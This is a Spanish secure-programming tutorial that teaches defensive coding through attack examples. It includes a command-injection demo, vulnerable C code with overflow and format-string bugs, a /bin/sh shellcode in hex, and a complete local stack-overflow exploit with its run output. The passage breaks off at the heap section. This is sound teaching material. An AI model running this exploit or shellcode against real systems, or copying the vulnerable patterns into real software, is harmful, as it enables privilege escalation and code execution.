Desarrollo Seguro de Aplicaciones v0.6 Beta Contenidos 1.- Introducción al desarrollo seguro de aplicaciones 1.1.- ¿Qué es la seguridad informática? 1.2.- ¿Qué es la programación segura? 1.3.- ¿Por qué los programadores escriben código inseguro? 1.4.- Funcionalidad vs. Correción vs. Seguridad 1.5.- El mito del ambiente hostil 2.- Fallos de seguridad 2.1.- Fallos de seguridad clásicos 2.1.1.- Aplicaciones inseguras 2.1.2.- Debordamientos de pila 2.1.3.- Desbordamientos de memoria dinámica 2.1.4.- Errores de formato 2.2.- Evolución del fallo de seguridad 2.2.1.- Aplicaciones inseguras 2.2.2.- Inyección de SQL 2.2.3.- Inyección de código en el servidor 2.2.4.- Inyección de código HTML en el cliente 2.3.- Otros fallos de seguridad comunes 2.3.1.- Escalada de directorios 2.2.2.- Condiciones de carrera 2.2.3.- Errores en el mecanismo de autenticación 2.2.4.- Errores en el mecanismo de cifrado http://www.kernelpanik.org frame at kernelpanik.org 1 Desarrollo Seguro de Aplicaciones v0.6 Beta 3.- Desarrollo seguro de aplicaciones 3.1.- Técnicas para una codificación segura 3.1.1.- Puntos críticos en la seguridad de una aplicación 3.1.1.1- Entrada de datos 3.1.1.2- Salida de datos 3.1.1.3- Modificación de datos 3.1.2.- Medidas para una programación segura 3.1.2.1.- Programación conservativa 3.1.2.2.- Control del flujo de ejecución de la aplicación 3.1.2.3.- Verificación exahustiva: celdas de seguridad. 3.1.3.- Ingeniería del software seguro 4.- Herramientas para la seguridad de las aplicaciones 4.1.- Herramientas de búsqueda y chequeo 4.1.1.- RATS 4.1.2.- LClint 4.2.- Herramientas antiexplotación 4.1.1.- Libsafe 4.1.2.- StackGuard y FormatGuard 4.3.- Mecanismos de prevención y detección de intrusiones 4.3.1.- IDS y NIDS 4.3.2.- Firewalls a nivel de aplicación: Firewalls webs A.- Apéndice A: Bibliografía B.- Apéndice B: Licencia del documento http://www.kernelpanik.org frame at kernelpanik.org 2 Desarrollo Seguro de Aplicaciones v0.6 Beta Introducción al Desarrollo Seguro de Aplicaciones http://www.kernelpanik.org frame at kernelpanik.org 3 Desarrollo Seguro de Aplicaciones v0.6 Beta Sería complicado, en unas pocas líneas, exponer de forma clara y concisa el tema sobre el que versa este documento. La seguridad, y la programación segura, como parte de ella, son multidisciplinares. En ellas tienen cabidas programación, ingeniería del software, redes, servicios de red, inteligencia artificial, y un sin fin de áreas de conocimiento asociadas. Es tanto y tan extenso, a la vez que desconocido para la inmensa mayoría, el mundo de la (in)seguridad informática que no puede ser condensado en las pocas decenas de hojas que nos vamos a extender. No obstante, y pecando de simplicidad, diremos que este texto versa entorno a tres ideas. La primera es que nuestro software debe hacer únicamente lo que nosotros queramos que haga, absolutamente nada más. La segunda es que la seguridad es tan importante como la funcionalidad, por mucho que nos cueste darnos cuenta. Y la tercera es que la única forma de adquirir los conocimientos necesarios para comprender plenamente las anteriores es conociendo en profundidad qué es un fallo de seguridad, porqué se cometen y cómo se explotan. 1.1.- ¿Qué es la (in)seguridad informática? "El único sistema seguro es aquel que está apagado, desconectado, dentro de una caja fuerte de titanio, enterrado en un bunker de concreto, rodeado de gas tóxico y vigilado por guardias armados y muy bien pagados. Y aún así, no apostaría mi vida a que es seguro". Gene Spafford Antes de continuar avanzando en el periplo que nos lleve a profundizar en el ámbito de la programación segura, es conveniente dedicar unas cuantas líneas a la idea general de “seguridad informática”, a su significado y a lo que comprende. “Libre y exento de todo peligro, daño o riesgo”, es la definición que la Real Academia de la Lengua Española da al término seguridad. Por tanto, hablar de seguridad informática sería hacerlo de una informática libre y exenta de todo peligro, daño o riesgo. Convendremos en la ambiguedad de esta definición, y por ello, y de forma más concreta, diremos que: asegurar y garantizar que los recursos informáticos estén exentos de peligro, daño o riesgo alguno por cualquier tipo de circunstancia tanto externa como interna, puede ser una definición absoluta del concepto de seguridad informática. Esta última definición se plasma en que la seguridad informática toma forma como el conjunto de reglas y técnicas destinadas a conseguir el objetivo anteriormente fijado de salvaguardar un recurso informático de cualquier peligro. http://www.kernelpanik.org frame at kernelpanik.org 4 Desarrollo Seguro de Aplicaciones v0.6 Beta Una vez definido un extremo, definiremos su opuesto. La inseguridad informática son el conjunto de riesgos a los cuales están expuestos los recursos informáticos. Estos riesgos son muchos y muy variados: virus y gusanos, spyware, malware, ataques de denegación de servicio, accesos no autorizados, modificación de los sistemas o robos de információn. Asociado al concepto de inseguridad, está el concepto de vulnerabilidad. Una vulnerabilidad es la exposición a un riesgo latente, y por tanto cuando hablemos de sistema vulnerable, estaremos hablando de un sistema que es supceptible de riesgo o daño. Las definiciones del anterior párrafo nos han de llevar a una forma de pensamiento en el que la seguridad se entienda no como algo cualitativo sino como un concepto cuantitativo puesto que siempre existirá una exposición latente al riesgo. Bien sea un riesgo conocido, en cuyo caso el nivel de riesgo será alto, o desconocido, en cuyo caso el nivel de riesgo será bajo. Y es esta propiedad la que nos hace redefinir el concepto asoluto de seguridad, llevándonos a un concepto de seguridad mucho más tangible, mucho más cercano, y mucho más real: La seguridad informática es un compromiso entre la cantidad de seguridad que queremos alcanzar, la importancia de lo que queremos proteger y los recursos que queremos destinar a su protección. De esta nueva defición nace el concepto de “política de seguridad”, que son el conjunto de requisitos destinados a la protección de los recursos informáticos tanto físicos como lógicos durane la operación normal del mismo. Las ideas subyacentes a las políticas de seguridad son las siguientes: ● ● ● ● Identificar y seleccionar lo que se debe proteger: recursos sensibles. Establecer niveles de prioridad e importancia. Identificar y establecer los niveles de riesgo y vulnerabilidad. Realizar un análisis de de costos en prevención, contención y recuperación. Por último, las políticas de seguridad son el paso previo al despliegue de la “arquitectura de seguridad” y las “planes de prevención, contención y recuperación”. Por arquitectura de seguridad entendemos el conjunto de soluciones tecnológicas destinadas a asegurar los recursos a proteger: físicos y lógicos, locales y en red, mientras que por planes, entendemos el conjunto de normas y medidas que mantienen y regulan el nivel de seguridad en los mismos. http://www.kernelpanik.org frame at kernelpanik.org 5 Desarrollo Seguro de Aplicaciones v0.6 Beta 1.2.- ¿Qué es la programación segura? La programación segura, es una parte importante de la seguridad informática, englobada dentro del ámbito de la prevención. No hay una definición exacta pero podemos decir que un programa seguro será aquel programa en el que su uso no pueda ser subvertido por terceros, obteniendo un posible beneficio de ello, y realice única y exclusivamente las funciones para las que ha sido destinado. Por tanto la programación segura son el conjunto de técnicas, normas y conocimientos que permiten crear programas cuyo uso no pueda ser subvertido. Al igual que la seguridad informática, la programación segura es un concepto cuantitativo, y un compromiso entre cuanta seguridad queremos en nuestro programa y cuanto esfuerzo estamos destinados a invertir en ella. Compromisos de seguridad bajos, aunmentarán las posibilidades de diseñar y codificar aplicaciones vulnerables, cuyo uso pueda ser alterado comprometiendo así la seguridad del sistema que la ejecute, y por extensión la del resto de sistemas que guarden relación con este. Para ejemplificar cómo el uso de un programa puede ser alterado, vamos a diseñar nuestro primer programa. Supongamos que somos un administrador de un sistema operativo UNIX, y que queremos añadir una funcionalidad al mismo, por ejemplo la de que nuestros usuarios puedan saber el número de líneas de un fichero. Una utilidad estúpida, sin duda alguna, pero utilidad al fin y al cabo. $cat catwc.c #include <stdio.h> int main(int argc, char **argv) { char comando[255]; if (argc==2) { snprintf(comando,sizeof(comando)­1, "/bin/cat %s | /bin/wc ­l",argv[1]); system(comando); } else { printf("Uso: %s fichero palabra\n"); } } Vamos a ver como el programa funcionaría de forma normal. $ ./catwc afunc.c 5 Ahora vamos a ver como se altera su uso y se invoca al comando “/usr/bin/id” desde el código debido al uso inapropiado de la función “system”. $ ./catwc "/etc/hostname && /usr/bin/id && /usr/bin/id" hawking uid=500(frame) gid=500(frame) grupos=500(frame) 1 http://www.kernelpanik.org frame at kernelpanik.org 6 Desarrollo Seguro de Aplicaciones v0.6 Beta Este sencillo ejemplo recoge de forma fiel las ideas sobre las que girarán las siguientes páginas: cómo subvertir el uso de un software y cómo protegerse de esos posibles ataques. 1.3.- ¿Por qué los programadores escriben código inseguro? Esta es una pregunta que lleva mucho tiempo intentando ser contestada, ya en 1986, Matt Bishop, intentaba dar unas guías para que esto no ocurriera en su “Howto write a setuid program”, pero fue unos cuantos años más adelante, exactamente en 1998, cuando Elias Levy (Aleph1) en un post a Bugtraq, intentaba responder concretamente a esta pregunta. En el año 1999, David A. Wheeler, autor de “Secure Programming for Linux and Unix HOWTO”, apuntaba nuevas ideas y concretaba estas en su documento. No vamos a reinventar la rueda. Los motivos más comunes, entre otros que podemos dejar en el tintero, son los siguientes: No es un tema que se suela explicar en la universidad, ni en centros de formación profesional. Durante los estudios se cursan muchas asignaturas de programacion, en las que se ensenan distintos lenguajes. En determinadas asignaturas se ven temas de seguridad, criptografia, protocolos, etc. pero no se ensena a programar de modo seguro: como evitar buffer overflows, comprobaciones en las operaciones de entrada/salida, etc. Este es uno de los principales problemas. Algo parecido pasa con los libros, existen muchisimos libros de programación, pero muy pocos hablan acerca de escribir programas seguros, aunque es algo que en los últimos años tiende a corregirse. Determinados lenguajes son propensos a cometer errores por los más diversos motivos: no existe control de los límites en los buffers, contienen funciones que son potencialmente peligrosas bajo ciertas circunstancias, no hacen suficientes comprobaciones sobre los parámetros de entrada, etc. Muchos programadores se conforman con que su programa funcione, es decir satisfaga los requerimientos funcionales, y si algo falla ya se corregirá en el futuro. El pensamiento tiene que ser el opuesto, hagamos un buen programa, que el numero de fallos que haya que corregir en el futuro sera menor. Programar de forma segura conlleva un mayor tiempo de desarrollo, esto hace que determinadas empresas publiquen codigo inseguro por cumplir unos plazos de mercado. Los programadores somos humanos, es practicamente imposible no equivocarse cuando escribes miles de lineas de codigo. No existe una conciencia real sobre el problema de la seguridad, y lo que entraña. Los consumidores no se preocupan realmente de este tema y si de que el programa satisfaga la funcionalidad demandada. http://www.kernelpanik.org frame at kernelpanik.org 7 Desarrollo Seguro de Aplicaciones v0.6 Beta Existen diferencias notables entre funcional, correcto y seguro, sin embargo estás no siempre son reflejadas en el desarrollo de un software. Un programa correcto en ciertos aspectos formales, y que cumpa su función no tiene porqué ser seguro. 1.4.- Funcionalidad vs. Corrección vs. Seguridad Una vez que hemos definido qué es la seguridad, qué es la programación segura y porqué se escribe, al menos la mayoría de las veces, código inseguro. Vamos a hablar de 3 conceptos que nos deben ser familiares. Pero no lo vamos a hacer desde una árdua definición sino desde un ejemplo que sirva de cierre, y unifique los conceptos que se han tratado hasta este momento. Transformémonos en programadores por un instante. Nos acaban de dar el encargo de crear un programa que concatene a la frase “Hola” al texto introducido como argumento al programa. Una salida de ejemplo sería la siguiente: $ ./nuestroprograma pedro Hola pedro Una primera aproximación podría ser la de programa “afuncional”. El siguiente puede ser válido: #include <stdio.h> int main(void) { printf(“Hola pedro\n”); } Realmente nadie podrá negar que ese código no haga lo que pide el ejemplo, pero desde luego no cumple la funcionalidad requerida. El siguiente caso es el del programa funcional. Bien pudiera ser el siguiente: #include <stdio.h> int main(int argc, char **argv) { char buffer[128]; strcpy(buffer,"Hola "); strcat(buffer,argv[1]); strcat(buffer,"\n"); printf(buffer); } Sin embargo, ¿es ese código correcto?. La corrección de un código es algo demasiado genérico. El código es correcto en cuanto a su funcionalidad, hace lo que se pide en el enunciado. El código es correcto en cuanto a su sintaxis, por tanto es perfectamente compilable. Pero el código no es correcto en cuanto a la seguridad, es más, cuenta con 2 fallos de seguridad: desbordamiento de buffer y error de formato. Veámoslo: http://www.kernelpanik.org frame at kernelpanik.org 8 Desarrollo Seguro de Aplicaciones v0.6 Beta $ ./func paco Hola paco $./func AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Hola AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Violación de segmento $./func %u%s Violación de segmento De momento no entraremos a valorar si esas violaciones de segmento son fallos de seguridad explotables. Simplemente diremos que se producen en el primer caso al desbordar la pila, y en el segundo caso por un error de formato en la función printf. ¿Cuál sería el código correcto, funcional y seguro apropiado al problema planteado?. #include <stdio.h> int main(int argc, char **argv) { if (argc == 2) printf(“Hola %s\n”, argv[1]); } Acabamos de comprobar en las pocas líneas que ocupa este apartado, y con un ejemplo de lo más trivial, las muchas formas que hay de afrotar un problema de programación, y los diversos resultados que podemos obtener. Es muy común conformarse con que nuestro programa compile y haga lo que se espera de él, sin embargo, comprobar que sólo hace lo que queremos y que su uso no puede ser subvertido en beneficio de un tercero, es decir, programar con la seguridad en mente, requiere un esfuerzo consciente por parte del programador para generar un código correcto desde el ámbito de la seguridad. 1.5.- El mito del ambiente hostil Como último punto de esta introducción, vamos a tratar el mito del ambiente hostil. Son numerosos los documentos en el que se habla de ambientes hostiles, de ambientes confiables, o de entornos de bajo riesgo. La realidad es que no existen ambientes confiables. Todo ambiente confiable puede tornarse hostil, tanto en cuanto puede evolucionar ante determinadas circunstancias. Podemos pensar que nuestra tranquila intranet es un ambiente confiable. Un lugar donde podemos probar prototipos o software en estado alfa/beta. Y es cierto, puede parecer un ambiente confiable, y de hecho lo será, pero que puedan existir ambientes confiables en un determinado momento no significa que se pueda hacer software pensando en ambientes confiables y software pensando en ambientes hostiles. Un software debe intentar responder a unos criterios de seguridad sea cual sea el ambiente: sea una intranet, sea el propio host local, o sea un concurso de toma de bandera en un certamen de seguridad informática. Programar con unos criterios de seguridad pobres, pensando en el escenario de destino, es algo nefasto y de consecuencias negativas la gran mayoría de las veces, ya que bastará un cambio en el entorno para que la seguridad quede comprometida. http://www.kernelpanik.org frame at kernelpanik.org 9 Desarrollo Seguro de Aplicaciones v0.6 Beta Fallos de seguridad http://www.kernelpanik.org frame at kernelpanik.org 10 Desarrollo Seguro de Aplicaciones v0.6 Beta En el apartado anterior hemos visto que el comportamiento de ciertos programas de ejemplo, puede ser modificado, obteniendo resultados a priori no esperados y alejados del comportamiento normal que cabría esperar de ellos. Sin embargo, no hemos entrado a valorar si constituyen fallos de seguridad explotables, o simplemente situaciones indeseables que pueden ser entendidas como funcionamientos anómalos, pero no inseguros. Ya es momento, de profundizar en la siguiente capa, y distinguir qué es un fallo de seguridad, cuales son los más comunes, cómo se explotan y cómo se previenen. Un fallo de seguridad, será aquel error de cuya explotación un atacante obtenga una elevación de privilegios en el sistema atacado. El fallo de seguridad, como veremos más adelante no sólo es un error en la codificación del software, bien puede ser un error lógico en la implementación, en el diseño, o incluso en el propio concepto a desarrollar. A la hora de presentar una correlación de fallos, con algún mínimo orden, se han planteado una serie de problemas según los modelos posibles. Al final, se ha optado por la que hemos considerado más didáctica, aunque quizá no la más correcta. La exposición se iniciará con los fallos de seguridad clásicos, existentes desde hace más de una década, y los cuales tienden a estar asociados a procesos privilegiados y a servicios de red. Acto seguido se pasará a los nuevos fallos de seguridad que ha traido la llegada de las aplicaciones web, y las aplicaciones por capas. Para terminar, quizá haciendo un abuso del cajón desastre, con una serie de fallos de seguridad que son transversales a todas las aplicaciones. 2.1.- Fallos de seguridad clásicos La historia de la inseguridad informática y de aprovechar los fallos de seguridad es tan antigua como la propia informática. En sus inicios eran técnicas rudimentarias, y bastante triviales: búsqueda de cuentas sin contraseña, o con contraseñas por defecto, busqueda de errores triviales en programas suideados, generalmente shell scripts, explotables generalmente con una simple modificación del PATH, o de la variable de entorno IFS, ataques por fuerza bruta a contraseñas débiles, y otra serie de técnicas que sin una excesiva complejidad técnica obtenían unos resultados más que aceptables. Pero sin duda el hecho que marca el inicio de la (in)seguridad informática tal y como la conocemos en la actualidad es el año 1994. Año en el cual un desbordamiento de buffer remoto fue convenientemente explotado sobre un NCSA Web Server 1.3 ejecutandose sobre HP-UX. Desde ese momento, el stack buffer overflow marcó una época, que todavía no se ha cerrado. En 1995, Mudge, miembro de l0pth, publicaría “How to write buffers overflows”, un año más tarde plasmoid, miembro de THC, publicaría “Stack Overlflows exploits on LINUX /BSDOS / FREEBSD / SUNOS / SOLARiS/ HP-UX”. Un año más tarde Aleph One, publicaría en la edición 49 de Phrack, “Smashing the stack for fun and profit”. Iniciándose así la carrera hacia el root remoto gracias a la conveniente explotación de desbordamientos de pila y que con unas cuantas evoluciones, que veremos a continuación, persiste hasta nuestros días. http://www.kernelpanik.org frame at kernelpanik.org 11 Desarrollo Seguro de Aplicaciones v0.6 Beta 2.1.1.- Aplicaciones inseguras Dos son los tipos de aplicación insegura más característicos de este modelo. Por un lado nos encontramos con los procesos privilegiados y por otro con los servicios, que podrán ser o no, un proceso privilegiado, en función de las necesidades del mismo. Por proceso privilegiado entenderemos aquel que se ejecuta con un identificador de usuario que otorga unos privilegios por encima de lo normal. Generalmente son tradicionales de los sistemas UNIX, y el identificador de ejecución más común es el 0 (root). Dentro de UNIX estos procesos, pueden ser bien los ejecutados por el root, sea desde un terminal, o desde los scripts de inicio. O bien los procesos “suideados”. Este término es usado para definir aquel proceso cuya ejecución activa el suid bit, lo que equivale a que su ejecución por parte de cualquier usuario hace que el kernel extienda los privilegios del usuario a los definidos para el propietario del binario. $ ls ­l /bin/mount ­rwsr­xr­x 1 root root 80008 oct 14 2004 /bin/mount $ls ­l /bin/ping ­rwsr­xr­x 1 root root 35108 jun 16 2004 /bin/ping En este caso, la ejecución de los binarios “mount” y “ping”, cuyo propietario es el root, hace que el proceso extienda los privilegios del usuario que lo ejecuta, a los del administrador del sistema. La razón es permitir que usuarios del sistema realicen tareas privilegiadas, como puede ser montar/desmontar unidades de disco, en el caso de mount, o tener acceso a socket de bajo nivel, raw sockets, en el caso del comando ping. Por servicio entendemos un proceso, privilegiado o no, cuya ejecución se lleva a cabo en segundo plano, y que aún pudiendo tener una terminal administrativa, es bastante común que carezca de ella, o bien que presente un interfaz a nivel de red permitiendo la conexión a host remotos. Ejemplos de servicios podemos tener muchos y muy variados: cron daemon, servicios de bases de datos, servicios web, servicios de ftp, servicios de shell remota, etc. El comando “chkconfig --list” nos devuelve la lista de servicios instalados en la máquina, y su ejecución o no de forma automática en los scripts de inicio del sistema. crond 0:desactivado 1:desactivado 2:activo 3:activo 4:activo 5:activo 6:desactivado httpd 0:desactivado 1:desactivado 2:desactivado 3:desactivado 4:desactivado 5:desactivado 6:desactivado En este caso podemos ver dos servicios, uno el demonio de tareas ( crond ), y otro el demonio de http ( httpd ). El primero se ejecuta en los runlevel 3,4 y 5, mientras el segundo no cuenta con inicio automático, y deberá ser ejecutado por el administrador. De cara a la explotación por parte de un usuario malintencionado decir que el foco de interés se centrará en cualquier servicio de red, ya que permite el acceso a un nuevo host, sea cual sea el nivel de privilegios con el que lo haga, además de cualquier proceso local que permita una escalada de privilegios. http://www.kernelpanik.org frame at kernelpanik.org 12 Desarrollo Seguro de Aplicaciones v0.6 Beta 2.1.2.- Desbordamientos de pila El desbordamiento de pila, generalmente conocido como “stack buffer overflow” podría ser calificado como el fallo de seguridad más común desde 1995 hasta el año 2000. Durante esos 5 años, ningún otro fallo de seguridad pudo hacerle sombra, ningún otro fallo de seguridad produjo tantos exploits locales o remotos, ningún otro fallo de seguridad supuso mayor problema para la defensa de los sistemas informáticos que este. No obstante se tiene conocimiento de este fallo desde que en el año 1988, Robert Morris, creará su ya famoso gusano, aprovechando un desbordamiento de buffer en el demonio fingerd. 15 años después, sigue siendo un problema de seguridad a erradicar. ¿Qué es un desbordamiento de buffer en pila?. Intuitivamente, y según lo que hemos visto anteriormente, el concepto parece claro. Hay una pila, hay unos buffers, es decir regiones contiguas de memoria asociadas a un tipo de dato, y se escribe en ellos por encima de su tamaño, desbordándolo. Idea que se fundamenta en el hecho de que ciertos lenguajes, como por ejemplo C, en alguna de sus funciones, no comprueban el tamaño del buffer en el que están escribiendo pudiendo escribir más allá de los límites de este, alterando así la memoria, con consecuencias indeseables la mayor parte de las veces. Las funciones inseguras más comunes son: strcpy, strcat, sprintf, gets y scanf. ¿Qué se consigue desbordando la pila?. Para contestar a esa pregunta hay que ver de cerca la estructura de la pila y como se comporta, y antes de eso, en general que aspecto tiene la memoria de un proceso en ejecución. En este caso elegimos la estrucutra de una pila x86. Decir que estructura de la pila varía entre arquitecturas, hay arquitecturas con pila decreciente, como pueden ser la de intel, la de sparc o la de mips, mientras que otras arquitecturas, como por ejemplo hp-parisc, presentan arquitecturas de pila creciente. /­­­­­­­­­­­­­­­­­­\ ­ direccion de memoria | | | Texto | | | |­­­­­­­­­­­­­­­­­­| | (Inicializados) | | Datos | |(No inicializados)| |­­­­­­­­­­­­­­­­­­| | | | Pila | | | \­­­­­­­­­­­­­­­­­­/ + direccion de memoria http://www.kernelpanik.org frame at kernelpanik.org 13 Desarrollo Seguro de Aplicaciones v0.6 Beta Como podemos ver en el gráfico, esta es la organización de memoria de un proceso. La región de texto, corresponde al código y a los datos de sólo lectura, es una región en la que no se suele poder escribir, y cuando lo hacemos nos encontramos con una violación de segmento. En la zona de datos, se hayan, las variables estáticas del proceso, inicializadas o no. Por último nos encontramos la pila. ¿Qué es una pila?. Una estructura que se comporta según el criterio LIFO, es decir, último en entrar, primero en salir. Las operaciones comunes sobre la pila son dos PUSH, apila aumentando en un elemento el tamaño de la pila, y POP, desapila reduciéndolo. El motivo de usar la pila, tiene su razón de ser en la programación de alto nivel: la necesidad de controlar el flujo de un programa permitiendo su recuperación tras un salto a una función, así como el paso de variables a funciones. Ahora entraremos a hablar en profundidad de la región de pila. En la pila el puntero SP/ESP (Stack Pointer) se encuentra situado en la parte superior de la misma, por el contrario la parte baja de la pila se encuentra en una dirección fija. Otro puntero interesante es el SFP ( Stack Frame Pointer ) que si bien no pertenece a la arquitectura del computador es usado por el compilador como referencia fija al marco de pila ( stack frame ) en uso permitiendo así un direccionamiento relativo a él. En la arquitectura x86 es el registro BP/EBP el usado para almacenar el valor del SFP. Un marco de pila contiene los parámetros necesarios para la función llamada: variables locales, parámetros pasados a la función, la dirección del anterior SFP, y la dirección del puntero de instrucciones IP/EIP antes de la llamada a la función. A continuación veremos los conceptos enunciados con un ejemplo. #include <stdio.h> void numeros(int uno, int dos, int tres) { char buffer1[10]; char buffer2[20]; } int main() { numeros(1,2,3); } El código en ensamblador generado por la llamada a la función números será el siguiente: pushl $3 pushl $2 pushl $1 call numeros numeros: pushl %ebp movl %esp, %ebp subl $56, %esp leave ret http://www.kernelpanik.org frame at kernelpanik.org 14 Desarrollo Seguro de Aplicaciones v0.6 Beta Como vemos se apilan los 3 valores, se llama a la función numeros mediante la instrucción call que apila IP/EIP, y una vez en la función número se guarda el SFP anterior, se posiciona el nuevo y se crea espacio para las variables locales “buffer1” y “buffer2”. Dado que en nuestro caso queremos reservar El aspecto de la pila sería el siguiente. parte baja parte alta de memoria de memoria buffer2 buffer1 sfp ret a b c <­­­­­­ [ ][ ][ ][ ][ ][ ][ ] parte alta parte baja de la pila de la pila Aquí, ya podemos intuir, la idea subyacente a desbordar un buffer. Si los buffer que hay en la pila se desbordan, sobreescribiremos los valores de SFP y de RET, lo cual nos hará llevar el flujo del programa a la dirección que maś nos interese, pudiendo alterar su comportamiento. La siguiente idea es: ¿para qué queremos hacer que el programa retorne a una dirección?. ¿Qué vamos a conseguir de esa forma?. Esto nos introduce en el concepto de shellcode. Llevar el programa a retornar a una posición cualquiera, convendremos no es interesante en ningún aspecto, ¿pero qué sucede si somos capaces de hacer el que el programa retorne a una dirección en la cual nosotros hemos almacenado código ejecutable?. La respuesta es evidente, el puntero IP/EIP apuntará a esa región, y el código contenido en ella se ejecutará. Ese código recibe el nombre de “shellcode”, nombre heredado de su objetivo primordial: proporcionarnos un acceso a una shell del sistema, bien sea local o remota, desde donde podamos usar los privilegios obtenidos del desbordamiento de ese buffer. #include <stdio.h> void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } Éste sería el aspecto en C de un shellcode local. ¿Pero qué aspecto tendría eso codificado en código máquina?. Huelga decir que no vamos a profundizar en la escritura de shellcodes, ya que no es el objetivo de este documento. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; http://www.kernelpanik.org frame at kernelpanik.org 15 Desarrollo Seguro de Aplicaciones v0.6 Beta Este código hexadecimal es la transformación del código C original, a código máquina. En este caso vemos un shellcode para Linux/x86. El proceso de codificación consiste en líneas generales en desensamblar el binario generado por el compilador para el código C y obtener el código ASM mínino y sin contenidos nulos. Una vez visto, de forma tan ligera lo que es un shellcode, mezclaremos ambos conceptos: el de desbordar el buffer, con el de apuntar el puntero EIP/IP a nuestra shellcode en memoria, para conseguir ejecutar código en la aplicación. parte baja DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF parte alta de la mem 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF de la memoria buffer sfp ret a b c <­­­­­­ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^ | |_____________________| parte alta parte baja la pila de la pila Aquí tenemos de forma gráfica la idea contenida en el párrafo anterior. En el buffer que podemos desbordar contenemos: NOP's ( código máquina que no ejecuta función alguna ), su razón de ser dentro de un exploit es mejorar la eficiencia del ataque ya que permite tener un mayor espacio de salto, en este caso ficticio la dirección de retorno podría ser desde D8 hasta la E3, cuantos más NOP's tengamos mayor será el espacio de salto, y más eficiencia conseguiremos. A continuación viene la shellcode, y al finalizar la misma, nos encontramos con la dirección de retorno del exploit. La dirección de retorno como vemos en este caso, apunta a 0xDE, que sería uno de los NOP's inyectados, y que haría posicianarse al punterio IP/EIP dentro de nuestro código, y comenzar su ejecución. A continuación mostraremos un ejemplo básico de desbordamiento de buffer, un exploit básico para él, y dos escenarios, uno donde podrá ser explotado y otro donde no, y los motivos. El siguiente código, de funcionalidad, bastante limitada, nos servirá para ejemplificar lo anteriormente expuesto. La idea es introducir un buffer en argv[1] que permita desbordar el buffer de 512 bytes y conseguir ejecutar el código que deseemos. void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } El exploit, tendrá la misión de calcular la dirección de retorno, e inicializar una variable de entorno denominada EGG, con la estructura descrita anteriormente, es decir, NOP's + SHELLCODE + DIRECCION DE RETORNO. http://www.kernelpanik.org frame at kernelpanik.org 16 Desarrollo Seguro de Aplicaciones v0.6 Beta #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/ls"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() ­ offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) ­ (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize ­ 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } El primer entorno donde veremos la explotación de este desbordamiento de buffer será en GNU/Debian. $ cat /etc/issue Debian GNU/Linux 3.1 http://www.kernelpanik.org frame at kernelpanik.org 17 Desarrollo Seguro de Aplicaciones v0.6 Beta $ uname ­a Linux seldonserver 2.6.8­2­386 #1 Tue Mar 22 13:36:06 EST 2005 i686 GNU/Linux $ ./exp 612 Using address: 0xbffffa58 $ ./vuln $EGG exp exp.c vuln vuln.c El resultado ha sido el esperado la shellcode cargada en el exploit tenía como misión llamar al binario /bin/ls, tarea que ha realizado con éxito. A continuación intentaremos desbordar el mismo buffer en Fedora Core 3, con resultados poco satisfactorios. # uname ­a Linux hawking 2.6.10­1.770_14.rhfc3.at #1 Fri Mar 4 11:34:31 EST 2005 i686 i686 i386 GNU/Linux $ ./exp 612 Using address: 0xbff493a8 $ ./vuln $EGG Violación de segmento El motivo concreto de que este exploit no haya funcionado es que Fedora Core 3 implementa una solución denominada “exec-shield”, la cual impide la ejecución de código en stack/heap, randomiza el espacio de direcciones, así como previene contra el uso de tecnicas de explotación más avanzadas como pueden ser “return-into-libc”. No obstante, existen técnicas de explotación concretas que pueden sobrepasar esta protección pero que no entran dentro de los ámbitos de este documento. Por tanto, aunque con un exploit convencional no se pueda explotar, no significa que el programa sea seguro, ni mucho menos, que el que existan técnicas antiexplotación como “execshield”, o “PaX”, u otras, hagan permisible la programación insegura. Con este ejemplo de explotación damos por concluida esta sección. Es evidente que la única solución válida al problema del stack buffer overflow pasa por chequear siempre los límites de los buffers, llamar a funciones seguras ( strncpy, strncat, snprintf, etc ) en detrimento de funciones que no tengan control alguno sobre el tamaño de lo copiado y colocar siempre NULL ('\0') al final del buffer. 2.1.3.- Desbordamientos de memoria dinámica Una vez vistos los desbordamientos del stack, veremos, someramente, y muy por encima, el mundo de los desbordamientos en memoria dinámica: BSS ( Block Started by Simbol ) y Heap. Decimos someramente porque es un mundo extenso y complejo del que 